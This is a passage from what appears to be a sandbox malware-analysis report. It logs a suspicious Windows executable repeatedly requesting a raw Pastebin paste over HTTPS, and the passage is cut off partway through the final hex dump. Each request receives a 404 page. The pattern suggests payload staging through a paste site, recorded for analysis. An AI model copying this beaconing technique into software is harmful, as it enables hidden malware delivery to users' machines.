2024-07-02 14:30:28 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	54787	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:29 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:30 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 73 Server: cloudflare CF-RAY: 89cf558399a14369-EWR
2024-07-02 14:30:30 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	54788	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:31 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:32 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 76 Server: cloudflare CF-RAY: 89cf55924d3a19d7-EWR
2024-07-02 14:30:32 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	54789	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:33 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:33 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 77 Server: cloudflare CF-RAY: 89cf559abdd94406-EWR
2024-07-02 14:30:33 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	54791	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:34 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:34 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 78 Server: cloudflare CF-RAY: 89cf55a2bc527290-EWR
2024-07-02 14:30:34 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	54792	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:35 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:35 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 79 Server: cloudflare CF-RAY: 89cf55aa090d8c18-EWR
2024-07-02 14:30:35 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	54793	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:36 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:37 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 81 Server: cloudflare CF-RAY: 89cf55b13a4d0cb8-EWR
2024-07-02 14:30:37 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	54794	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:37 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:38 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 82 Server: cloudflare CF-RAY: 89cf55b7fea87274-EWR
2024-07-02 14:30:38 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	54795	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:39 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:39 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 83 Server: cloudflare CF-RAY: 89cf55bebc7b42b3-EWR
2024-07-02 14:30:39 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	54796	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:40 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:40 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 84 Server: cloudflare CF-RAY: 89cf55c50aff32d9-EWR
2024-07-02 14:30:40 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	54797	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:41 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:41 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 85 Server: cloudflare CF-RAY: 89cf55cae89d43c7-EWR
2024-07-02 14:30:41 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	54798	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:42 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:42 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 86 Server: cloudflare CF-RAY: 89cf55d20fc29e16-EWR
2024-07-02 14:30:42 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	54799	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:43 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:43 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 87 Server: cloudflare CF-RAY: 89cf55d91c078c3b-EWR
2024-07-02 14:30:43 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 